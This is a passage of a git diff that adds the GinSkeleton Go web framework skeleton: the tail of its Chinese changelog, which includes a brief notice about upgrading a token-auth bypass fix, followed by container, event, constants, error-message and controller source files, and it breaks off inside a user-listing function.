1.` ≤ V1.5.24 ` 包括此版本 `token` 认证中间件存在被恶意构造特殊 `token` 绕过的风险,请尽快升级到最新版. + 1.1 升级方法:使用最新的 `app/http/middleware/authorization/auth.go` 替换 `V1.5.24`以及之前的版本同位置代码即可. + +#### V 1.5.27 2021-09-18 +* 更新 + 1.`app/model/users.go` 中,操作数据库的函数参数,个别使用了 `float64` ,全部统一为 `int` 系列,避免给开发者带来不必要的困扰. + +#### V 1.5.26 2021-09-13 +* 更新 + 1.精简合并代码. + +#### V 1.5.25 2021-09-13 +* 新增 + 1.cli命令模式增加简单示例,方便新用户快速上手,相关位置:./command/demo_simple/. +* 更新 + 1.过期token刷新逻辑增加延期时间范围,方便已经处于过期时间范围内的token刷新换取新token. + 2.交叉编译部分完善常用编译参数说明. + +#### V 1.5.24 2021-09-03 + +* 修复 + 1.图形验证码逻辑:如果没有使用本系统封装的验证码中间件,而是直接调用了自定义验证逻辑部分代码,则一直提示没有获取验证码信息. +* 更新 + 1.编译部分,增加编译时参数的选项说明. + 2.websocket 完善文档使用说明. + 3.在安装有360软件的机器上本项目启动失败,增加提示原因. + +#### V 1.5.23 2021-08-06 + +* 修复 + 1.postgresql文件 `app/model/users_for_postgres.txt` 中一处bug,登陆后,登陆次数+1时sql语句报错. +* 更新 + 1.为 `http://github.com/casbin/gorm-adapter` 依赖包提交pr,由于官方已经合并,此包更新至最新版,解决postgresql创建索引报错的bug. + +#### V 1.5.22 2021-08-04 +* 新增 + 1.项目部署方案. + 2.mysql主从同步快速部署方案. + 3.新增redis执行结果常用转换函数. + 4.新增postgresql数据库demo,至此,主线版本已经全面支持 mysql、sqlserver、postgresql数据库. +* 更新 + 1.项目依赖的所有包更新至最新版. + 2.项目使用文档. + +#### V 1.5.21 2021-07-16 +* 更新 + 1.项目依赖的所有包更新至最新版. + 2.项目日志对接到 elk 日志管理中心,增加 `docker-compose.yml` 集成环境快速部署脚本,详情参见常用开发模块第 13 项. + 3.增加项目部署文档. + +#### V 1.5.20 2021-06-18 +* 更新 + 1.表单参数验证器示例代码更新,提供了更加紧凑的书写示例代码,相关示例文档同步更新. + 2.一个用户同时允许最大在线的token, 查询时优先按照 expires_at 倒序排列,便于不同系统间对接时,那种长久有效的token不会被"踢"下线. + 3.command 命令示例 demo 调整为按照子目录创建 cli 命令,方便更清晰地组织更多的 command 命令代码. + 4.nginx 部署文档优化,在nginx处理请求时,相关的静态资源直接由nginx拦截响应,提升响应速度,这样 go 程序将更专注于处于api接口请求. + 5.自带的 mysql 数据库创建脚本字段 last_login_ip , 设置默认值为 '' . + +#### V 1.5.17 2021-06-06 +* 新增、更新 + 1.sqlserver 数据库对应的用户模型,参见 app/model/users_for_sqlserver.txt. + 2.更新 database/db_demo_sqlserver.sql 数据库、表创建命令. + 修复 + 1.修正常量定义处日期格式单词书写错误问题. + + +#### V 1.5.16 2021-05-28 +* 新增 + 1.增加验证码中间件以及使用介绍. + +#### V 1.5.15 2021-05-11 +* 完善 + 1.文件上传后自动创建目录时,目录权限由(0666)调整为:os.ModePerm,解决可能遇到的权限问题 . + 2.cobra 文档增加创建子命令的示例链接. + +#### V 1.5.14 2021-04-28 +* 完善 + 1.更新 rabbitMq 排版 + 2.更新 websocket 文档 + +#### V 1.5.13 2021-04-27 +* 完善 + 1.表单参数验证器注册文件拆分为:api、web,当项目较大时,尽可能保持逻辑清晰、简洁. + 3.完善细节,避免mysql 函数 FROM_UNIXTIME 参数最大只能支持21亿的局限. + 3.核心依赖包升级至最新版. + +#### V 1.5.12 2021-04-20 +* 完善 + 1.app/model/users 增加注释,主要是主线版本操作数据库大量使用了原生sql,注释主要增加了 gorm_v2 自带语法操作数据库的链接地址. + 2.代码中涉及到的分页语法(limit offset,limit),参数 offset,limit 统一调整为 int 型,解决mysql8.x系列高版本的数据库不支持浮点型的问题. + + +#### V 1.5.11 2021-04-02 +* 变更 + 1.app/model/BaseModel 文件中,UseDbConn 函数名首字符调整为大写,方便创建更多的子级目录. +* 更新 + 1.日志(nginx 的access.log)对接到 ELK 日志管理中心,相关文档更新,增加了ip转 经纬度功能,方便展示用户在世界地图的分布. + 2.针对上一条,补充了日志展示的整体[效果图](docs/elk_log.md) + +#### V 1.5.10 2021-03-23 +* 完善 + 1.form表单参数验证器完成验证后, 自动为上下文绑定三个键:created_at、updated_at、deleted_at ,相关值均为请求时的日期时间. + 2.baseModel 中 created_at、updated_at 修改为 string 类型,方便从上下文自动绑定对应的键值到 model . + 3.用户每次登录后,tb_users 表,登陆次数字段+1 . + 4.nginx 部署文档修正一处缺少单引号的错误. + 5.gorm 操作数据库精华版文档更新. + 6.删除其他小部分无关代码. + 7.增加自动创建连接功能,只为更好地处理静态资源. + 8.文件上传代码配置项增加部分参数,代码同步升级. + 9.GinSkeleton-Admin 系统同步发布. + +#### V 1.5.00 2021-03-10 +* 新增 + 1.为即将发布的 GinSkeleton-Admin 系统增加了基础支撑模块:casbin模块、gorm_v2 操作精华版文档,参见**常用开发模块**列表. + 2.token模块引用的部分常量值调整到配置文件. + 3.调整token校验中间件和casbin中间件名称. + 4.主线版本本次更新并不是很多,今后主线版本将依然保持简洁,后续的新功能模块都将以包的形式引入和调用. + 5.更多企业级的功能将在后续推出的 GinSkeleton-Admin 展现,欢迎关注本项目,反馈使用意见. + +V 1.1.xx - 1.4.xx 版本日志 +> 1.[历史日志](docs/history_log.md) + +### 感谢 jetbrains 为本项目提供的 goland 激活码 +![https://www.jetbrains.com/](https://www.ginskeleton.com/images/jetbrains.jpg) diff --git a/GinSkeleton/app/aop/users/destroy_after.go b/GinSkeleton/app/aop/users/destroy_after.go new file mode 100644 index 0000000..bb704ef --- /dev/null +++ b/GinSkeleton/app/aop/users/destroy_after.go @@ -0,0 +1,19 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" +) + +// 模拟Aop 实现对某个控制器函数的前置和后置回调 + +type DestroyAfter struct{} + +func (d *DestroyAfter) After(context *gin.Context) { + // 后置函数可以使用异步执行 + go func() { + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + variable.ZapLog.Sugar().Infof("模拟 Users 删除操作, After 回调,用户ID:%.f\n", userId) + }() +} diff --git a/GinSkeleton/app/aop/users/destroy_before.go b/GinSkeleton/app/aop/users/destroy_before.go new file mode 100644 index 0000000..5fda1c2 --- /dev/null +++ b/GinSkeleton/app/aop/users/destroy_before.go @@ -0,0 +1,22 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" +) + +// 模拟Aop 实现对某个控制器函数的前置和后置回调 + +type DestroyBefore struct{} + +// 前置函数必须具有返回值,这样才能控制流程是否继续向下执行 +func (d *DestroyBefore) Before(context *gin.Context) bool { + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + variable.ZapLog.Sugar().Infof("模拟 Users 删除操作, Before 回调,用户ID:%.f\n", userId) + if userId > 10 { + return true + } else { + return false + } +} diff --git a/GinSkeleton/app/core/container/container.go b/GinSkeleton/app/core/container/container.go new file mode 100644 index 0000000..b60a188 --- /dev/null +++ b/GinSkeleton/app/core/container/container.go @@ -0,0 +1,69 @@ +package container + +import ( + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "log" + "strings" + "sync" +) + +// 定义一个全局键值对存储容器 +var sMap sync.Map + +// CreateContainersFactory 创建一个容器工厂 +func CreateContainersFactory() *containers { + return &containers{} +} + +// 定义一个容器结构体 +type containers struct { +} + +// Set 1.以键值对的形式将代码注册到容器 +func (c *containers) Set(key string, value interface{}) (res bool) { + + if _, exists := c.KeyIsExists(key); exists == false { + sMap.Store(key, value) + res = true + } else { + // 程序启动阶段,zaplog 未初始化,使用系统log打印启动时候发生的异常日志 + if variable.ZapLog == nil { + log.Fatal(my_errors.ErrorsContainerKeyAlreadyExists + ",请解决键名重复问题,相关键:" + key) + } else { + // 程序启动初始化完成 + variable.ZapLog.Warn(my_errors.ErrorsContainerKeyAlreadyExists + ", 相关键:" + key) + } + } + return +} + +// Delete 2.删除 +func (c *containers) Delete(key string) { + sMap.Delete(key) +} + +// Get 3.传递键,从容器获取值 +func (c *containers) Get(key string) interface{} { + if value, exists := c.KeyIsExists(key); exists { + return value + } + return nil +} + +// KeyIsExists 4. 判断键是否被注册 +func (c *containers) KeyIsExists(key string) (interface{}, bool) { + return sMap.Load(key) +} + +// FuzzyDelete 按照键的前缀模糊删除容器中注册的内容 +func (c *containers) FuzzyDelete(keyPre string) { + sMap.Range(func(key, value interface{}) bool { + if keyname, ok := key.(string); ok { + if strings.HasPrefix(keyname, keyPre) { + sMap.Delete(keyname) + } + } + return true + }) +} diff --git a/GinSkeleton/app/core/destroy/destroy.go b/GinSkeleton/app/core/destroy/destroy.go new file mode 100644 index 0000000..3f83aab --- /dev/null +++ b/GinSkeleton/app/core/destroy/destroy.go @@ -0,0 +1,25 @@ +package destroy + +import ( + "go.uber.org/zap" + "goskeleton/app/core/event_manage" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "os" + "os/signal" + "syscall" +) + +func init() { + // 用于系统信号的监听 + go func() { + c := make(chan os.Signal) + signal.Notify(c, os.Interrupt, os.Kill, syscall.SIGQUIT, syscall.SIGINT, syscall.SIGTERM) // 监听可能的退出信号 + received := <-c //接收信号管道中的值 + variable.ZapLog.Warn(consts.ProcessKilled, zap.String("信号值", received.String())) + (event_manage.CreateEventManageFactory()).FuzzyCall(variable.EventDestroyPrefix) + close(c) + os.Exit(1) + }() + +} diff --git a/GinSkeleton/app/core/event_manage/event_manage.go b/GinSkeleton/app/core/event_manage/event_manage.go new file mode 100644 index 0000000..8bc1ec1 --- /dev/null +++ b/GinSkeleton/app/core/event_manage/event_manage.go @@ -0,0 +1,73 @@ +package event_manage + +import ( + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "strings" + "sync" +) + +// 定义一个全局事件存储变量,本模块只负责存储 键 => 函数 , 相对容器来说功能稍弱,但是调用更加简单、方便、快捷 +var sMap sync.Map + +// 创建一个事件管理工厂 +func CreateEventManageFactory() *eventManage { + + return &eventManage{} +} + +// 定义一个事件管理结构体 +type eventManage struct { +} + +// 1.注册事件 +func (e *eventManage) Set(key string, keyFunc func(args ...interface{})) bool { + //判断key下是否已有事件 + if _, exists := e.Get(key); exists == false { + sMap.Store(key, keyFunc) + return true + } else { + variable.ZapLog.Info(my_errors.ErrorsFuncEventAlreadyExists + " , 相关键名:" + key) + } + return false +} + +// 2.获取事件 +func (e *eventManage) Get(key string) (interface{}, bool) { + if value, exists := sMap.Load(key); exists { + return value, exists + } + return nil, false +} + +// 3.执行事件 +func (e *eventManage) Call(key string, args ...interface{}) { + if valueInterface, exists := e.Get(key); exists { + if fn, ok := valueInterface.(func(args ...interface{})); ok { + fn(args...) + } else { + variable.ZapLog.Error(my_errors.ErrorsFuncEventNotCall + ", 键名:" + key + ", 相关函数无法调用") + } + + } else { + variable.ZapLog.Error(my_errors.ErrorsFuncEventNotRegister + ", 键名:" + key) + } +} + +// 4.删除事件 +func (e *eventManage) Delete(key string) { + sMap.Delete(key) +} + +// 5.根据键的前缀,模糊调用. 使用请谨慎. +func (e *eventManage) FuzzyCall(keyPre string) { + + sMap.Range(func(key, value interface{}) bool { + if keyName, ok := key.(string); ok { + if strings.HasPrefix(keyName, keyPre) { + e.Call(keyName) + } + } + return true + }) +} diff --git a/GinSkeleton/app/global/consts/consts.go b/GinSkeleton/app/global/consts/consts.go new file mode 100644 index 0000000..6193a15 --- /dev/null +++ b/GinSkeleton/app/global/consts/consts.go @@ -0,0 +1,75 @@ +package consts + +// 这里定义的常量,一般是具有错误代码+错误说明组成,一般用于接口返回 +const ( + // 进程被结束 + ProcessKilled string = "收到信号,进程被结束" + // 表单验证器前缀 + ValidatorPrefix string = "Form_Validator_" + ValidatorParamsCheckFailCode int = -400300 + ValidatorParamsCheckFailMsg string = "参数校验失败" + + //服务器代码发生错误 + ServerOccurredErrorCode int = -500100 + ServerOccurredErrorMsg string = "服务器内部发生代码执行错误, " + GinSetTrustProxyError string = "Gin 设置信任代理服务器出错" + + // token相关 + JwtTokenOK int = 200100 //token有效 + JwtTokenInvalid int = -400100 //无效的token + JwtTokenExpired int = -400101 //过期的token + JwtTokenFormatErrCode int = -400102 //提交的 token 格式错误 + JwtTokenFormatErrMsg string = "提交的 token 格式错误" //提交的 token 格式错误 + JwtTokenMustValid string = "token为必填项,请在请求header部分提交!" //提交的 token 格式错误 + + //SnowFlake 雪花算法 + StartTimeStamp = int64(1483228800000) //开始时间截 (2017-01-01) + MachineIdBits = uint(10) //机器id所占的位数 + SequenceBits = uint(12) //序列所占的位数 + //MachineIdMax = int64(-1 ^ (-1 << MachineIdBits)) //支持的最大机器id数量 + SequenceMask = int64(-1 ^ (-1 << SequenceBits)) // + MachineIdShift = SequenceBits //机器id左移位数 + TimestampShift = SequenceBits + MachineIdBits //时间戳左移位数 + + // CURD 常用业务状态码 + CurdStatusOkCode int = 200 + CurdStatusOkMsg string = "Success" + CurdCreatFailCode int = -400200 + CurdCreatFailMsg string = "新增失败" + CurdUpdateFailCode int = -400201 + CurdUpdateFailMsg string = "更新失败" + CurdDeleteFailCode int = -400202 + CurdDeleteFailMsg string = "删除失败" + CurdSelectFailCode int = -400203 + CurdSelectFailMsg string = "查询无数据" + CurdRegisterFailCode int = -400204 + CurdRegisterFailMsg string = "注册失败" + CurdLoginFailCode int = -400205 + CurdLoginFailMsg string = "登录失败" + CurdRefreshTokenFailCode int = -400206 + CurdRefreshTokenFailMsg string = "刷新Token失败" + + //文件上传 + FilesUploadFailCode int = -400250 + FilesUploadFailMsg string = "文件上传失败, 获取上传文件发生错误!" + FilesUploadMoreThanMaxSizeCode int = -400251 + FilesUploadMoreThanMaxSizeMsg string = "长传文件超过系统设定的最大值,系统允许的最大值:" + FilesUploadMimeTypeFailCode int = -400252 + FilesUploadMimeTypeFailMsg string = "文件mime类型不允许" + FilesUploadIsEmpty string = "不允许上传空文件" + + //websocket + WsServerNotStartCode int = -400300 + WsServerNotStartMsg string = "websocket 服务没有开启,请在配置文件开启,相关路径:config/config.yml" + WsOpenFailCode int = -400301 + WsOpenFailMsg string = "websocket open阶段初始化基本参数失败" + + //验证码 + CaptchaGetParamsInvalidMsg string = "获取验证码:提交的验证码参数无效,请检查验证码ID以及文件名后缀是否完整" + CaptchaGetParamsInvalidCode int = -400350 + CaptchaCheckParamsInvalidMsg string = "校验验证码:提交的参数无效,请检查 【验证码ID、验证码值】 提交时的键名是否与配置项一致" + CaptchaCheckParamsInvalidCode int = -400351 + CaptchaCheckOkMsg string = "验证码校验通过" + CaptchaCheckFailCode int = -400355 + CaptchaCheckFailMsg string = "验证码校验失败" +) diff --git a/GinSkeleton/app/global/my_errors/my_errors.go b/GinSkeleton/app/global/my_errors/my_errors.go new file mode 100644 index 0000000..43289bf --- /dev/null +++ b/GinSkeleton/app/global/my_errors/my_errors.go @@ -0,0 +1,70 @@ +package my_errors + +const ( + //系统部分 + ErrorsContainerKeyAlreadyExists string = "该键已经注册在容器中了" + ErrorsPublicNotExists string = "public 目录不存在" + ErrorsConfigYamlNotExists string = "config.yml 配置文件不存在" + ErrorsConfigGormNotExists string = "gorm_v2.yml 配置文件不存在" + ErrorsStorageLogsNotExists string = "storage/logs 目录不存在" + ErrorsConfigInitFail string = "初始化配置文件发生错误" + ErrorsSoftLinkCreateFail string = "自动创建软连接失败,请以管理员身份运行客户端(开发环境为goland等,生产环境检查命令执行者权限), " + + "最后一个可能:如果您是360用户,请退出360相关软件,才能保证go语言创建软连接函数: os.Symlink() 正常运行" + ErrorsSoftLinkDeleteFail string = "删除软软连接失败" + + ErrorsFuncEventAlreadyExists string = "注册函数类事件失败,键名已经被注册" + ErrorsFuncEventNotRegister string = "没有找到键名对应的函数" + ErrorsFuncEventNotCall string = "注册的函数无法正确执行" + ErrorsBasePath string = "初始化项目根目录失败" + ErrorsTokenBaseInfo string = "token最基本的格式错误,请提供一个有效的token!" + ErrorsNoAuthorization string = "token鉴权未通过,请通过token授权接口重新获取token," + ErrorsRefreshTokenFail string = "token不符合刷新条件,请通过登陆接口重新获取token!" + ErrorsParseTokenFail string = "解析token失败" + ErrorsGormInitFail string = "Gorm 数据库驱动、连接初始化失败" + ErrorsCasbinNoAuthorization string = "Casbin 鉴权未通过,请在后台检查 casbin 设置参数" + ErrorsGormNotInitGlobalPointer string = "%s 数据库全局变量指针没有初始化,请在配置文件 config/gorm_v2.yml 设置 Gormv2.%s.IsInitGlobalGormMysql = 1, 并且保证数据库配置正确 \n" + // 数据库部分 + ErrorsDbDriverNotExists string = "数据库驱动类型不存在,目前支持的数据库类型:mysql、sqlserver、postgresql,您提交数据库类型:" + ErrorsDialectorDbInitFail string = "gorm dialector 初始化失败,dbType:" + ErrorsGormDBCreateParamsNotPtr string = "gorm Create 函数的参数必须是一个指针" + ErrorsGormDBUpdateParamsNotPtr string = "gorm 的 Update、Save 函数的参数必须是一个指针(GinSkeleton ≥ v1.5.29 版本新增验证,为了完美支持 gorm 的所有回调函数,请在参数前面添加 & )" + //redis部分 + ErrorsRedisInitConnFail string = "初始化redis连接池失败" + ErrorsRedisAuthFail string = "Redis Auth 鉴权失败,密码错误" + ErrorsRedisGetConnFail string = "Redis 从连接池获取一个连接失败,超过最大重试次数" + // 表单参数验证器未通过时的错误 + ErrorsValidatorNotExists string = "不存在的验证器" + ErrorsValidatorTransInitFail string = "validator的翻译器初始化错误" + ErrorNotAllParamsIsBlank string = "该接口不允许所有参数都为空,请按照接口要求提交必填参数" + ErrorsValidatorBindParamsFail string = "验证器绑定参数失败" + + //token部分 + ErrorsTokenInvalid string = "无效的token" + ErrorsTokenNotActiveYet string = "token 尚未激活" + ErrorsTokenMalFormed string = "token 格式不正确" + + //snowflake + ErrorsSnowflakeGetIdFail string = "获取snowflake唯一ID过程发生错误" + // websocket + ErrorsWebsocketOnOpenFail string = "websocket onopen 发生阶段错误" + ErrorsWebsocketUpgradeFail string = "websocket Upgrade 协议升级, 发生错误" + ErrorsWebsocketReadMessageFail string = "websocket ReadPump(实时读取消息)协程出错" + ErrorsWebsocketBeatHeartFail string = "websocket BeatHeart心跳协程出错" + ErrorsWebsocketBeatHeartsMoreThanMaxTimes string = "websocket BeatHeart 失败次数超过最大值" + ErrorsWebsocketClientOfflineTimeout string = "websocket 客户端响应ping消息超过服务端允许的最长时间(秒):" + ErrorsWebsocketSetWriteDeadlineFail string = "websocket 设置消息写入截止时间出错" + ErrorsWebsocketWriteMgsFail string = "websocket Write Msg(send msg) 失败" + ErrorsWebsocketStateInvalid string = "websocket state 状态已经不可用(掉线、卡死等愿意,造成双方无法进行数据交互)" + // rabbitMq + ErrorsRabbitMqReconnectFail string = "RabbitMq消费者端掉线后重连失败,超过尝试最大次数" + + //文件上传 + ErrorsFilesUploadOpenFail string = "打开文件失败,详情:" + ErrorsFilesUploadReadFail string = "读取文件32字节失败,详情:" + + // casbin 初始化可能的错误 + ErrorCasbinCanNotUseDbPtr string = "casbin 的初始化基于gorm 初始化后的数据库连接指针,程序检测到 gorm 连接指针无效,请检查数据库配置!" + ErrorCasbinCreateAdaptFail string = "casbin NewAdapterByDBUseTableName 发生错误:" + ErrorCasbinCreateEnforcerFail string = "casbin NewEnforcer 发生错误:" + ErrorCasbinNewModelFromStringFail string = "NewModelFromString 调用时出错:" +) diff --git a/GinSkeleton/app/global/variable/variable.go b/GinSkeleton/app/global/variable/variable.go new file mode 100644 index 0000000..5a38828 --- /dev/null +++ b/GinSkeleton/app/global/variable/variable.go @@ -0,0 +1,62 @@ +package variable + +import ( + "github.com/casbin/casbin/v2" + "go.uber.org/zap" + "gorm.io/gorm" + "goskeleton/app/global/my_errors" + "goskeleton/app/utils/snow_flake/snowflake_interf" + "goskeleton/app/utils/yml_config/ymlconfig_interf" + "log" + "os" + "strings" +) + +// ginskeleton 封装的全局变量全部支持并发安全,请放心使用即可 +// 开发者自行封装的全局变量,请做好并发安全检查与确认 + +var ( + BasePath string // 定义项目的根目录 + EventDestroyPrefix = "Destroy_" // 程序退出时需要销毁的事件前缀 + ConfigKeyPrefix = "Config_" // 配置文件键值缓存时,键的前缀 + DateFormat = "2006-01-02 15:04:05" // 设置全局日期时间格式 + + // 全局日志指针 + ZapLog *zap.Logger + // 全局配置文件 + ConfigYml ymlconfig_interf.YmlConfigInterf // 全局配置文件指针 + ConfigGormv2Yml ymlconfig_interf.YmlConfigInterf // 全局配置文件指针 + + //gorm 数据库客户端,如果您操作数据库使用的是gorm,请取消以下注释,在 bootstrap>init 文件,进行初始化即可使用 + GormDbMysql *gorm.DB // 全局gorm的客户端连接 + GormDbSqlserver *gorm.DB // 全局gorm的客户端连接 + GormDbPostgreSql *gorm.DB // 全局gorm的客户端连接 + + //雪花算法全局变量 + SnowFlake snowflake_interf.InterfaceSnowFlake + + //websocket + WebsocketHub interface{} + WebsocketHandshakeSuccess = `{"code":200,"msg":"ws连接成功","data":""}` + WebsocketServerPingMsg = "Server->Ping->Client" + + //casbin 全局操作指针 + Enforcer *casbin.SyncedEnforcer + + // 用户自行定义其他全局变量 ↓ + +) + +func init() { + // 1.初始化程序根目录 + if curPath, err := os.Getwd(); err == nil { + // 路径进行处理,兼容单元测试程序程序启动时的奇怪路径 + if len(os.Args) > 1 && strings.HasPrefix(os.Args[1], "-test") { + BasePath = strings.Replace(strings.Replace(curPath, `\test`, "", 1), `/test`, "", 1) + } else { + BasePath = curPath + } + } else { + log.Fatal(my_errors.ErrorsBasePath) + } +} diff --git a/GinSkeleton/app/http/controller/api/home_controller.go b/GinSkeleton/app/http/controller/api/home_controller.go new file mode 100644 index 0000000..2be776a --- /dev/null +++ b/GinSkeleton/app/http/controller/api/home_controller.go @@ -0,0 +1,33 @@ +package api + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/utils/response" +) + +type Home struct { +} + +// 1.门户类首页新闻 +func (u *Home) News(context *gin.Context) { + + // 由于本项目骨架已经将表单验证器的字段(成员)绑定在上下文,因此可以按照 GetString()、GetInt64()、GetFloat64()等快捷获取需要的数据类型 + // 当然也可以通过gin框架的上下文原原始方法获取,例如: context.PostForm("name") 获取,这样获取的数据格式为文本,需要自己继续转换 + newsType := context.GetString(consts.ValidatorPrefix + "newsType") + page := context.GetFloat64(consts.ValidatorPrefix + "page") + limit := context.GetFloat64(consts.ValidatorPrefix + "limit") + userIp := context.ClientIP() + ref := context.GetHeader("Referer") + + // 这里随便模拟一条数据返回 + response.Success(context, "ok", gin.H{ + "newsType": newsType, + "page": page, + "limit": limit, + "userIp": userIp, + "title": "门户首页公司新闻标题001", + "content": "门户新闻内容001", + "referer": ref, + }) +} diff --git a/GinSkeleton/app/http/controller/captcha/captcha_controller.go b/GinSkeleton/app/http/controller/captcha/captcha_controller.go new file mode 100644 index 0000000..e81a35d --- /dev/null +++ b/GinSkeleton/app/http/controller/captcha/captcha_controller.go @@ -0,0 +1,83 @@ +package captcha + +import ( + "bytes" + "github.com/dchest/captcha" + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/utils/response" + "net/http" + "path" + "time" +) + +type Captcha struct{} + +// 生成验证码ID +func (c *Captcha) GenerateId(context *gin.Context) { + // 设置验证码的数字长度(个数) + var length = variable.ConfigYml.GetInt("Captcha.length") + var captchaId, imgUrl, refresh, verify string + + captchaId = captcha.NewLen(length) + imgUrl = "/captcha/" + captchaId + ".png" + refresh = imgUrl + "?reload=1" + verify = "/captcha/" + captchaId + "/这里替换为正确的验证码进行验证" + + response.Success(context, "验证码信息", gin.H{ + "id": captchaId, + "img_url": imgUrl, + "refresh": refresh, + "verify": verify, + }) + +} + +// 获取验证码图像 +func (c *Captcha) GetImg(context *gin.Context) { + captchaIdKey := variable.ConfigYml.GetString("Captcha.captchaId") + captchaId := context.Param(captchaIdKey) + _, file := path.Split(context.Request.URL.Path) + ext := path.Ext(file) + id := file[:len(file)-len(ext)] + if ext == "" || captchaId == "" { + response.Fail(context, consts.CaptchaGetParamsInvalidCode, consts.CaptchaGetParamsInvalidMsg, "") + return + } + + if context.Query("reload") != "" { + captcha.Reload(id) + } + + context.Header("Cache-Control", "no-cache, no-store, must-revalidate") + context.Header("Pragma", "no-cache") + context.Header("Expires", "0") + + var vBytes bytes.Buffer + if ext == ".png" { + context.Header("Content-Type", "image/png") + // 设置实际业务需要的验证码图片尺寸(宽 X 高),captcha.StdWidth, captcha.StdHeight 为默认值,请自行修改为具体数字即可 + _ = captcha.WriteImage(&vBytes, id, captcha.StdWidth, captcha.StdHeight) + http.ServeContent(context.Writer, context.Request, id+ext, time.Time{}, bytes.NewReader(vBytes.Bytes())) + } +} + +// 校验验证码 +func (c *Captcha) CheckCode(context *gin.Context) { + captchaIdKey := variable.ConfigYml.GetString("Captcha.captchaId") + captchaValueKey := variable.ConfigYml.GetString("Captcha.captchaValue") + + captchaId := context.Param(captchaIdKey) + value := context.Param(captchaValueKey) + + if captchaId == "" || value == "" { + response.Fail(context, consts.CaptchaCheckParamsInvalidCode, consts.CaptchaCheckParamsInvalidMsg, "") + return + } + if captcha.VerifyString(captchaId, value) { + response.Success(context, consts.CaptchaCheckOkMsg, "") + } else { + response.Fail(context, consts.CaptchaCheckFailCode, consts.CaptchaCheckFailMsg, "") + } +} diff --git a/GinSkeleton/app/http/controller/web/upload_controller.go b/GinSkeleton/app/http/controller/web/upload_controller.go new file mode 100644 index 0000000..a617562 --- /dev/null +++ b/GinSkeleton/app/http/controller/web/upload_controller.go @@ -0,0 +1,23 @@ +package web + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/service/upload_file" + "goskeleton/app/utils/response" +) + +type Upload struct { +} + +// 文件上传是一个独立模块,给任何业务返回文件上传后的存储路径即可。 +// 开始上传 +func (u *Upload) StartUpload(context *gin.Context) { + savePath := variable.BasePath + variable.ConfigYml.GetString("FileUploadSetting.UploadFileSavePath") + if r, finnalSavePath := upload_file.Upload(context, savePath); r == true { + response.Success(context, consts.CurdStatusOkMsg, finnalSavePath) + } else { + response.Fail(context, consts.FilesUploadFailCode, consts.FilesUploadFailMsg, "") + } +} diff --git a/GinSkeleton/app/http/controller/web/users_controller.go b/GinSkeleton/app/http/controller/web/users_controller.go new file mode 100644 index 0000000..96b15e2 --- /dev/null +++ b/GinSkeleton/app/http/controller/web/users_controller.go @@ -0,0 +1,144 @@ +package web + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/model" + "goskeleton/app/service/users/curd" + userstoken "goskeleton/app/service/users/token" + "goskeleton/app/utils/response" + "time" +) + +type Users struct { +} + +// 1.用户注册 +func (u *Users) Register(context *gin.Context) { + // 由于本项目骨架已经将表单验证器的字段(成员)绑定在上下文,因此可以按照 GetString()、context.GetBool()、GetFloat64()等快捷获取需要的数据类型,注意:相关键名规则: 前缀+验证器结构体中的 json 标签 + // 注意:在 ginskeleton 中获取表单参数验证器中的数字键(字段),请统一使用 GetFloat64(),其它获取数字键(字段)的函数无效,例如:GetInt()、GetInt64()等 + // 当然也可以通过gin框架的上下文原始方法获取,例如: context.PostForm("user_name") 获取,这样获取的数据格式为文本,需要自己继续转换 + userName := context.GetString(consts.ValidatorPrefix + "user_name") + pass := context.GetString(consts.ValidatorPrefix + "pass") + userIp := context.ClientIP() + if curd.CreateUserCurdFactory().Register(userName, pass, userIp) { + response.Success(context, consts.CurdStatusOkMsg, "") + } else { + response.Fail(context, consts.CurdRegisterFailCode, consts.CurdRegisterFailMsg, "") + } +} + +// 2.用户登录 +func (u *Users) Login(context *gin.Context) { + userName := context.GetString(consts.ValidatorPrefix + "user_name") + pass := context.GetString(consts.ValidatorPrefix + "pass") + phone := context.GetString(consts.ValidatorPrefix + "phone") + userModelFact := model.CreateUserFactory("") + userModel := userModelFact.Login(userName, pass) + + if userModel != nil { + userTokenFactory := userstoken.CreateUserFactory() + if userToken, err := userTokenFactory.GenerateToken(userModel.Id, userModel.UserName, userModel.Phone, variable.ConfigYml.GetInt64("Token.JwtTokenCreatedExpireAt")); err == nil { + if userTokenFactory.RecordLoginToken(userToken, context.ClientIP()) { + data := gin.H{ + "userId": userModel.Id, + "user_name": userName, + "realName": userModel.RealName, + "phone": phone, + "token": userToken, + "updated_at": time.Now().Format(variable.DateFormat), + } + response.Success(context, consts.CurdStatusOkMsg, data) + go userModel.UpdateUserloginInfo(context.ClientIP(), userModel.Id) + return + } + } + } + response.Fail(context, consts.CurdLoginFailCode, consts.CurdLoginFailMsg, "") +} + +// 刷新用户token +func (u *Users) RefreshToken(context *gin.Context) { + oldToken := context.GetString(consts.ValidatorPrefix + "token") + if newToken, ok := userstoken.CreateUserFactory().RefreshToken(oldToken, context.ClientIP()); ok { + res := gin.H{ + "token": newToken, + } + response.Success(context, consts.CurdStatusOkMsg, res) + } else { + response.Fail(context, consts.CurdRefreshTokenFailCode, consts.CurdRefreshTokenFailMsg, "") + } +} + +// 后面是 curd 部分,自带版本中为了降低初学者学习难度,使用了最简单的方式操作 增、删、改、查 +// 在开发企业实际项目中,建议使用我们提供的一整套 curd 快速操作模式 +// 参考地址:https://gitee.com/daitougege/GinSkeleton/blob/master/docs/concise.md +// 您也可以参考 Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ 中, app/model/ 提供的示例语法 + +//3.用户查询(show) +func (u *Users) Show(context *gin.Context) { + userName := context.GetString(consts.ValidatorPrefix + "user_name") + page := context.GetFloat64(consts.ValidatorPrefix + "page") + limit := context.GetFloat64(consts.ValidatorPrefix + "limit") + limitStart := (page - 1) * limit + 